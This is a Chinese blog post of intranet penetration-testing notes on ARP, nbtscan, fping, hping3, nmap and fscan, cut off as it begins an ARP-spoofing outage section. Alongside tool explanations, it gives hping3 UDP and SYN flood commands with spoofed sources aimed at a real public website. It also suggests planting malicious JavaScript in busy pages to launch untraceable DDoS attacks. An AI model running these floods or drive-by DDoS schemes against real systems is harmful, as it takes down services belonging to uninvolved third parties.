</content:encoded></item><item><title>内网扫描器笔记</title><link>https://wangyi187.top/posts/intranet-scanners/</link><guid isPermaLink="true">https://wangyi187.top/posts/intranet-scanners/</guid><description>0x03 扫描器 扫描器: 帮助测试人员对内网环境做一个快速的探测，发现内网里面的漏洞 主要功能: 主机发现 端口扫描 一、扫描器分类 数链层: 网络层: 传输层: 什么是ARP协</description><pubDate>Tue, 08 Oct 2024 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;0x03 扫描器&lt;/h1&gt;
&lt;hr /&gt;
&lt;p&gt;**扫描器:**帮助测试人员对内网环境做一个快速的探测，发现内网里面的漏洞&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;主要功能:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;主机发现&lt;/li&gt;
&lt;li&gt;端口扫描&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;一、扫描器分类&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;数链层:&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;非常底层

属于同一设备下

什么叫同一设备？同一台交换机，同一台路由器，同一个网段

数链层因为使用的是ARP协议所以扫描扫得很快、但是也是因为它很底层，所以会受到一个网段的限制
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;网络层:&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;比较少

网络层用的是ping
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;传输层:&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;层次较高，功能更多更强

因为层次高，所以扫描速度慢
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;什么是ARP协议？&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;	地址解析协议，即ARP（Address Resolution  Protocol），是根据IP地址获取物理地址的一个TCP/IP协议。主机发送信息时将包含目标IP地址的ARP请求广播到局域网络上的所有主机，并接收返回消息，以此确定目标的物理地址；收到返回消息后将该IP地址和物理地址存入本机ARP缓存中并保留一定时间，下次请求时直接查询ARP缓存以节约资源。地址解析协议是建立在网络中各个主机互相信任的基础上的，局域网络上的主机可以自主发送ARP应答消息，其他主机收到应答报文时不会检测该报文的真实性就会将其记入本机ARP缓存；

	最直白的说法是：在IP以太网中，当一个上层协议要发包时，有了该节点的IP地址，ARP就能提供该节点的MAC地址。

	大家都知道，OSI模式把网络工作分为七层，彼此不直接打交道，只通过接口(layre interface). IP地址在第三层（网络层）,  MAC地址在第二层（数据链路层）。协议在发送数据包时，首先要封装第三层（IP地址）和第二层 （MAC地址）的报头,  但协议只知道目的节点的IP地址，不知道其物理地址，又不能跨第二、三层，所以得用ARP的服务拿到MAC地址。
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;二、数链层扫描器&lt;/h2&gt;
&lt;h3&gt;1、nbtscan&lt;/h3&gt;
&lt;h4&gt;1)简介&lt;/h4&gt;
&lt;p&gt;​	Nbtscan 是一个扫描 Windows 网络 NetBIOS 信息的小工具，身材娇小，简单快速。但只能用于局域网，可以显示 IP，主机名，用户名称和 MAC 地址等等，通常用于后渗透，内网渗透的信息搜集。&lt;strong&gt;用的不是icmp协议是arp协议！发起的是arp请求，防火墙不会阻拦arp请求，但有可能NetBIOS回复包被防火墙拦住导致Nbtscan无法探测到局域网主机&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;先用nbtscan扫一遍，用kali自带的wireshark抓包&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/intranet-scanners/0adf03a3b2-image-20231208200134527.png&quot; alt=&quot;image-20231208200134527&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/intranet-scanners/683d7436fc-image-20231208195123891.png&quot; alt=&quot;image-20231208195123891&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;可以看到都是ARP包，一个一个地址给它发过去，遍历&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;在最上方输入&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ip.dst==192.168.23.138

#指定接收方为192.168.23.138(本机)

#就可以看见通过arp请求获取的NBNS的数据包，NBNS数据包里面就带有主机名
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/intranet-scanners/b0d5492dff-image-20231208195912256.png&quot; alt=&quot;image-20231208195912256&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;src是指定发送方

譬如:ip.src==xxx.xxx.xxx.xxx

dst是指定接收方

譬如:ip.dst==xxx.xxx.xxx.xxx
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;什么是NBNS协议？&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;	NBNS是NetBIOS name service的缩写，是NetBIOS的命名服务，用于将NetBIOS名称映射到IP地址上，是NetBIOS-over-TCP(NBT)协议族的一份子。NBNS是动态DNS的一种，Microsoft的NBNS实现称为WINS。路由器可以通过发送NBNS状态请求以获取设备名，windows PC 接收到后通过WINS或将本地缓存发送命名信息给路由器。
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;2)参数&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;-h    显示帮助信息。

-v    显示详细输出信息。

-r    扫描整个子网。

-s    指定扫描的子网掩码。

-e    显示扫描结果中的MAC地址.

-P    指定扫描的端口号。

-p    扫描指定的端口号范围。

-T    设置扫描超时时间.

-A    扫描所有主机，包括离线的主机。

-n    不进行DNS反向解析。

-N    只扫描指定的NetBIOS名称。

-U    使用UDP协议进行扫描。

-u    指定UDP端口号。

-T    设置扫描超时时间。

-a    扫描所有的NetBIOS名称。
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;3)用法&lt;/h4&gt;
&lt;h5&gt;1&amp;gt;扫描整个C段&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;nbtscan -r 目标 /24
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/intranet-scanners/c34dd297b7-image-20231208194421142.png&quot; alt=&quot;image-20231208194421142&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;h2&gt;三、网络层扫描器&lt;/h2&gt;
&lt;h3&gt;1、fping&lt;/h3&gt;
&lt;h4&gt;1)简介&lt;/h4&gt;
&lt;p&gt;​	&lt;strong&gt;fping&lt;/strong&gt;是一个将ICMP ECHO_REQUEST数据包发送到网络中的主机的命令。&lt;/p&gt;
&lt;h4&gt;2)参数&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;-a    显示存活

-g    指定网段

-s	  打印最终统计
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;3)用法&lt;/h4&gt;
&lt;h5&gt;1&amp;gt;显示网段存活主机&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;fping -g 192.168.23.0/24 
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/intranet-scanners/b56b178227-image-20231208202642618.png&quot; alt=&quot;image-20231208202642618&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;h5&gt;2&amp;gt;显示ip地址是否存活&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;fping -a 192.168.23.128
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/intranet-scanners/b41a558df2-image-20231208202731294.png&quot; alt=&quot;image-20231208202731294&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;h5&gt;3&amp;gt;指定网段显示存活主机并打印最终统计&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;fping -asg 192.168.23.0/24
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/intranet-scanners/28b770a244-image-20231209145318725.png&quot; alt=&quot;image-20231209145318725&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;有存活就有回显&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;2、hping3&lt;/h3&gt;
&lt;h4&gt;1)简介&lt;/h4&gt;
&lt;p&gt;​	**hping 是 面向命令行的用于生成和解析TCP/IP协议数据包汇编/分析的开源工具。**作者是Salvatore Sanfilippo，界面灵感来自ping（8）unix命令，目前最新版是 hping3，它支持TCP，UDP，ICMP和RAW-IP协议，具有跟踪路由模式，能够在覆盖的信道之间发送文件以及许多其他功能，支持使用tcl脚本自动化地调用其API。&lt;strong&gt;hping是安全审计、防火墙测试等工作的标配工具&lt;/strong&gt;。&lt;strong&gt;hping 优势在于能够定制数据包的各个部分，因此用户可以灵活对目标机进行细致地探测。&lt;/strong&gt;&lt;/p&gt;
&lt;h4&gt;2)参数&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;-a    伪造源地址

-c    发送数据包的数目

-p    端口

-d    数据包大小

-i    发包间隔(uX，X微秒，格式:-i u1000  #1000微秒一个包)

-w    滑动窗口大小

-s	  基本源端口(默认随机)

-S 	  设置SYN标志

--flood    尽快发送数据包

--rand-source    随机源地址
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;3)用法&lt;/h4&gt;
&lt;h5&gt;1&amp;gt;UDP dos攻击&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;hping3 -c 1000000 -d 120 --udp -w 64 -p 80 --flood --rand-source www.baidu.com
&lt;/code&gt;&lt;/pre&gt;
&lt;h5&gt;2&amp;gt;SYN dos攻击&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;hping3 -c 1000000 -d 120 -S -w 64 -p 80 --flood --rand-source www.baidu.com

#常用
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;什么是SYN？&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;三次握手&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/intranet-scanners/d8d89fdb94-image-20231208204132289.png&quot; alt=&quot;image-20231208204132289&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;图中参数:

SYN：用于建立连接。

ACK：用于确定收到了请求。

seq：发送自己的数据。

ack：发送接收到的对方的数据。
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;三次握手状态变化&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;状态变化：

    客户端和服务器同时属于closed状态，表示没有连接关系。
    
    客户端发送请求，客户端打开发送(SYN-sent)状态，同时服务器打开监听(Listen)状态；
    
    服务器在接收到客户端的请求时，服务器切换为回复(SYN-recvd)状态；
    
    客户端在接收到服务器的响应时，客户端切换为稳定连接(Estab-lished)状态的同时发送第二次数据包。
    
    服务器在接收到客户端的第二次数据时，服务器切换为稳定连接(Estab-lished)状态。
    
    双方建立稳定连接后，开始正常通信数据。
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;注:互联网小成本的服务器很容易打崩，譬如笔趣阁之类的&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;去写网页(匿名网站)=&amp;gt;js发请求=&amp;gt;借刀杀人(ddos)&lt;/p&gt;
&lt;p&gt;正常的流量大的网页去插入恶意js，别人每访问一下就发起一次ddos攻击，抓也不好抓&lt;/p&gt;
&lt;p&gt;网页需要放点精彩的东西，让别人看得比较久，这样效果会比较好&lt;/p&gt;
&lt;h5&gt;3&amp;gt;其他方式的ddos攻击&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;DDOS攻击（必须在同一网段且能ping通）

hping3 -S -a 1.1.1.1 -s 445 --flood 192.168.10.129（目标地址） -p 445
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;四、传输层扫描器&lt;/h2&gt;
&lt;p&gt;​	&lt;strong&gt;依靠TCP/IP的扫描方式&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;1、nmap&lt;/h3&gt;
&lt;h4&gt;1)简介&lt;/h4&gt;
&lt;p&gt;​		&lt;strong&gt;nmap是一款非常强大的主机发现和端口扫描工具，而且nmap运用自带的脚本，还能完成漏洞检测，同时支持多平台。&lt;/strong&gt;&lt;/p&gt;
&lt;h4&gt;2)参数&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;-S      伪造源地址

-sn     只探测存活(基于icmp，开防火墙是扫不到的，无效)

-Pn:    跳过主机发现的过程进行端口扫描(开防火墙有效)

-T(0~5) 扫描速度，一般都是T4,T5太快会丢包

-sS     tcp syn扫端口(最好用)

-sU     UDP扫描

-sT 	TCP扫描

-p		指定端口

-p-     指定所有端口

-sV		服务探测(显示出服务的详细信息，找nday直接打)

-O      扫操作系统

-A		综合扫描(所有东西都用上去扫，扫描速度会非常慢)

-script=vuln    扫常见漏洞
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;比较常用的参数&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;-sn/-Pn 先进行主机发现，然后再选定一个目标设备进行-sS、-sV的一个端口扫描，然后-p-/-A进行一个全面扫描，整个流程的扫描速度推荐-T4&lt;/strong&gt;&lt;/p&gt;
&lt;h4&gt;3)用法&lt;/h4&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/intranet-scanners/d202253cf1-image-20231209131518442.png&quot; alt=&quot;image-20231209131518442&quot; style=&quot;zoom: 25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;Nmap有四种基本功能：「端口扫描」、「主机探测」、「服务识别」和「系统识别」&lt;/p&gt;
&lt;h5&gt;1&amp;gt;探测端口服务&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;nmap -Pn -T4 192.168.231.21
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/intranet-scanners/8e5a2ec698-image-20231209132534827.png&quot; alt=&quot;image-20231209132534827&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;注:可以看到开放了135/445端口SMB服务，永恒之蓝漏洞直接打&lt;/p&gt;
&lt;h5&gt;2&amp;gt;探测端口服务详细信息(结合nday发起攻击)&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;nmap -Pn -T4 192.168.231.21 -sV

#可以探测出服务的版本号之类的，知道这个服务的版本号之后就可以去搜索这个版本存在什么nday漏洞，然后就可以开始攻击
&lt;/code&gt;&lt;/pre&gt;
&lt;h5&gt;3&amp;gt;探测端口的系统&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;nmap -T4 192.168.231.21 -O

#去搜索操作系统的补丁漏洞之类的
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/intranet-scanners/41c8d9dcb5-image-20231209133607738.png&quot; alt=&quot;image-20231209133607738&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;h3&gt;2、fscan&lt;/h3&gt;
&lt;h4&gt;1)简介&lt;/h4&gt;
&lt;p&gt;​	fscan 是一个内网综合扫描工具，方便一键自动化、全方位漏洞扫描。&lt;strong&gt;(比较常用的扫描器)&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;​	它支持主机存活探测、端口扫描、常见服务的爆破、ms17010、redis批量写公钥、计划任务反弹shell、读取win网卡信息、web指纹识别、web漏洞扫描、netbios探测、域控识别等功能。&lt;/p&gt;
&lt;h4&gt;2)参数&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;  -c string
        ssh命令执行
        
  -cookie string
        设置cookie
        
  -debug int
        多久没响应,就打印当前进度(default 60)
        
  -domain string
        smb爆破模块时,设置域名
        
  -h string
        目标ip: 192.168.11.11 | 192.168.11.11-255 | 192.168.11.11,192.168.11.12
        
  -hf string
        读取文件中的目标
        
  -hn string
        扫描时,要跳过的ip: -hn 192.168.1.1/24
        
  -m string
        设置扫描模式: -m ssh (default &quot;all&quot;)
        
  -no
        扫描结果不保存到文件中
        
  -nobr
        跳过sql、ftp、ssh等的密码爆破
        
  -nopoc
        跳过web poc扫描
        
  -np
        跳过存活探测
        
  -num int
        web poc 发包速率  (default 20)
        
  -o string
        扫描结果保存到哪 (default &quot;result.txt&quot;)
        
  -p string
        设置扫描的端口: 22 | 1-65535 | 22,80,3306 (default &quot;21,22,80,81,135,139,443,445,1433,3306,5432,6379,7001,8000,8080,8089,9000,9200,11211,27017&quot;)
        
  -pa string
        新增需要扫描的端口,-pa 3389 (会在原有端口列表基础上,新增该端口)
        
  -path string
        fcgi、smb romote file path
        
  -ping
        使用ping代替icmp进行存活探测
        
  -pn string
        扫描时要跳过的端口,as: -pn 445
        
  -pocname string
        指定web poc的模糊名字, -pocname weblogic
        
  -proxy string
        设置代理, -proxy http://127.0.0.1:8080
        
  -user string
        指定爆破时的用户名
        
  -userf string
        指定爆破时的用户名文件
        
  -pwd string
        指定爆破时的密码
        
  -pwdf string
        指定爆破时的密码文件
        
  -rf string
        指定redis写公钥用模块的文件 (as: -rf id_rsa.pub)
        
  -rs string
        redis计划任务反弹shell的ip端口 (as: -rs 192.168.1.1:6666)
        
  -silent
        静默扫描,适合cs扫描时不回显
        
  -sshkey string
        ssh连接时,指定ssh私钥
        
  -t int
        扫描线程 (default 600)
        
  -time int
        端口扫描超时时间 (default 3)
        
  -u string
        指定Url扫描
        
  -uf string
        指定Url文件扫描
        
  -wt int
        web访问超时时间 (default 5)
        
  -pocpath string
        指定poc路径
        
  -usera string
        在原有用户字典基础上,新增新用户
        
  -pwda string
        在原有密码字典基础上,增加新密码
        
  -socks5
        指定socks5代理 (as: -socks5  socks5://127.0.0.1:1080)
        
  -sc
        指定ms17010利用模块shellcode,内置添加用户等功能 (as: -sc add)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;常用参数:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;-h			指定目标ip

-np			跳过存活探测,no ping

-socks5		指定socks5代理

-hf			读取文件中的目标

-u			指定Url扫描
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;3)用法&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;主要功能:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;1.信息搜集:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;存活探测(icmp)&lt;/li&gt;
&lt;li&gt;端口扫描&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;2.爆破功能:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;各类服务爆破(ssh、smb等)&lt;/li&gt;
&lt;li&gt;数据库密码爆破(mysql、mssql、redis、psql等)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;3.系统信息、漏洞扫描:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;获取目标网卡信息&lt;/li&gt;
&lt;li&gt;高危漏洞扫描(ms17010等)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;4.Web探测功能:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;webtitle探测&lt;/li&gt;
&lt;li&gt;web指纹识别(常见cms、oa框架等)&lt;/li&gt;
&lt;li&gt;web漏洞扫描(weblogic、st2等,支持xray的poc)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;5.漏洞利用:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;redis写公钥或写计划任务&lt;/li&gt;
&lt;li&gt;ssh命令执行&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;6.其他功能:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;文件保存&lt;/li&gt;
&lt;/ul&gt;
&lt;h5&gt;1&amp;gt;扫描域名资产存活&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;fscan -h -np -hf ip_list.md

#注意：ip地址≠url

#如果去打一个web渗透，这样直接用ip扫可能会扫漏一些东西，因为很多的东西不能用ip地址直接访问，需要url访问才有效
&lt;/code&gt;&lt;/pre&gt;
&lt;h5&gt;2&amp;gt;扫内网网段&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;fscan -h -np [当前内网设备的网段]

#譬如:fscan -h -np 192.168.0.0/16
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;五、扩展搜索域名资产绕过方式&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;搜索引擎:零零信安&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;https://0.zone/&lt;/p&gt;
&lt;p&gt;然后搜索一所学校&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/intranet-scanners/86ed80dfdb-image-20231209140937961.png&quot; alt=&quot;image-20231209140937961&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;点击仰恩大学进入报告&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/intranet-scanners/ee079986d5-image-20231209141742738.png&quot; alt=&quot;image-20231209141742738&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;点击高级搜索&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/intranet-scanners/213471bb0f-image-20231209141831782.png&quot; alt=&quot;image-20231209141831782&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;再添加一项不存在的参数，就譬如端口9999999999&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/intranet-scanners/8b9a973cde-image-20231209141902239.png&quot; alt=&quot;image-20231209141902239&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;点击查询&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/intranet-scanners/007aea8ec0-image-20231209141921072.png&quot; alt=&quot;image-20231209141921072&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;此时点击右上角的下载标识符即可下载&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/intranet-scanners/4365dadfb2-image-20231209142959125.png&quot; alt=&quot;image-20231209142959125&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/intranet-scanners/e92e087a02-image-20231209143034586.png&quot; alt=&quot;image-20231209143034586&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;但是这里只有50条的资产信息，想要更多的话就需要充值会员了&lt;/p&gt;
&lt;h2&gt;六、ARP欺骗攻击&lt;/h2&gt;
&lt;h3&gt;1、ARP协议&lt;/h3&gt;
&lt;p&gt;​	在局域网中，网络中实际传输的是“帧”，帧里面是有目标主机的MAC地址的。**在以太网中，一个主机要和另一个主机进行直接通信，必须要知道目标主机的MAC地址。MAC地址就是ARP协议获得的。**其实就是主机在发送帧前将目标IP地址转换成目标MAC地址的过程。ARP协议的基本功能就是通过目标设备的IP地址，查询目标设备的MAC地址，以保证通信的顺利进行。所以说从某种意义上讲ARP协议是工作在更低于IP协议的协议层。这也是为什么ARP欺骗更能够让人在神不知鬼不觉的情况下出现网络故障，危害会很隐蔽。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;ip&amp;lt;==&amp;gt;mac&lt;/li&gt;
&lt;li&gt;PC-A：192.168.0.1	MAC：AA-AA-AA-AA-AA-AA&lt;/li&gt;
&lt;li&gt;PC-B：192.168.0.2&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;谁能告诉我192.168.0.2的mac地址是多少&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;非该ip地址的，丢包&lt;/li&gt;
&lt;li&gt;PC-B收到后，告诉PC-A我是192.168.0.2，我的mac地址是AA-AA-AA-AA-AA-AB&lt;/li&gt;
&lt;li&gt;PC-C响应了数据包&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;	arp是一个动态表，它存在计算机中，它的目的就是做一个ip和mac地址的互相转化(IP&amp;lt;==&amp;gt;MAC地址)

PC-A:192.168.0.1	MAC:AA-AA-AA-AA-AA-AA

PC-A:192.168.0.1

	现在PC-A想要和PC-B进行一个通信，因为PC-A的mac地址表里面没存在PC-B的mac地址，实际上通信的过程是通过一个mac地址表来通信的，只有单单ip的话只能用来找到它，但现在PC-A是找不到PC-B这个机子的，那这个时候如果说我开始ping了，ping PC-B，那这个时候我们的数据会先发到交换机上面，会开始发一条消息---谁能告诉我192.168.0.2的mac地址是多少？那这个时候呢，通过交换机的时候，交换机并不能看出来ip地址，所以它会在所有的端口中广播这个地址(不包括发送端,其他端口全部都转发出去)那很显然这个时候，非该ip地址的，就会丢弃数据包，直到PC-B收到后，会做一个回值，告诉PC-A我是192.168.0.2，我的mac地址是AA-AA-AA-AA-AA-AB，那这个时候呢这条消息就往上发，经过交换机，交换机再发给PC-A,那这个时候交换机也会保存PC-B的mac地址 ，此时除了PC-A有PC-B的mac地址之外，交换机同时有PC-A和PC-B的mac地址，所以下一次通信的时候，PC-A除了直接去找PC-B的mac地址之外，它往上去发广播消息的时候，交换机也能从它自己的一个arp表中找到PC-B的一个mac地址。这时候双方都已经获取了对方的一个mac地址，就可以开始通信了

PC-A:192.168.0.1	MAC:AA-AA-AA-AA-AA-AA

PC-A:192.168.0.1	MAC:AA-AA-AA-AA-AA-AB

	要是在交换机广播---能告诉我192.168.0.2的mac地址是多少？这条消息的过程中有一台PC-C进行了响应了数据包，这个时候PC-C向PC-A说我是192.168.0.2，我的mac地址是xxx，此时PC-A就会相信它是PC-B，计算机就是你说什么它信什么，arp欺骗攻击就是这个原理
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;2、ARP协议工作原理&lt;/h3&gt;
&lt;p&gt;ARP（Address Resolution Protocol）的工作原理如下：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;IP 地址到 MAC 地址的映射查询&lt;/strong&gt;：&lt;/p&gt;
&lt;p&gt;​	当一个设备需要向另一个设备发送数据时，首先需要知道目标设备的 MAC 地址。发送设备会首先检查自己的 ARP 缓存表，如果找不到目标设备的 MAC 地址，则会发送一个 ARP  请求广播，询问局域网中所有设备：“谁的 IP 地址是 X.X.X.X，告诉我你的 MAC 地址是什么？”这个广播会被发送到局域网中的所有设备。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;目标设备的应答&lt;/strong&gt;：&lt;/p&gt;
&lt;p&gt;​	目标设备收到 ARP 请求后，会检查自己的 IP 地址是否与请求中的 IP 地址匹配，如果匹配，则会发送一个 ARP 应答，包含自己的 MAC 地址。这个应答会直接发送给请求设备，而不是广播给整个局域网。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;ARP 缓存表更新&lt;/strong&gt;：&lt;/p&gt;
&lt;p&gt;​	发送设备收到目标设备的应答后，会将目标设备的 IP 地址和 MAC 地址的映射关系存储在自己的 ARP 缓存表中，以便下次直接使用，避免再次发送 ARP 请求。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;ARP 缓存表的过期处理&lt;/strong&gt;：&lt;/p&gt;
&lt;p&gt;​	ARP 缓存表中的映射关系会有一个过期时间，如果在一定时间内没有使用，就会被清除，下次需要通信时会重新发送 ARP 请求。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;​	&lt;strong&gt;总的来说，ARP 协议的工作原理是通过广播方式在局域网中查询目标设备的 MAC 地址，从而实现了 IP 地址到 MAC 地址的映射，是局域网通信中非常重要的一环。&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;3、ARP欺骗原理&lt;/h3&gt;
&lt;p&gt;​	&lt;strong&gt;ARP攻击就是通过伪造IP地址和MAC地址实现ARP欺骗，能够在网络中产生大量的ARP通信量，攻击者只要持续不断的发出伪造的ARP响应包就能更改目标主机ARP缓存中的IP-MAC条目，造成网络中断或中间人攻击。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;​	当局域网中一台机器，反复向其他机器，特别是向网关，发送这样无效假冒的ARP应答信息包时，严重的网络堵塞就会开始。由于网关MAC地址错误，所以从网络中计算机发来的数据无法正常发到网关，自然无法正常上网。这就&lt;strong&gt;造成了无法访问外网的问题&lt;/strong&gt;，由于很多时候网关还控制着我们的局域网LAN上网，所以这时我们的LAN访问也就出现问题了。&lt;/p&gt;
&lt;h3&gt;4、断网攻击&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;#kali-Linux

apt install dsniff 

apt install driftnet

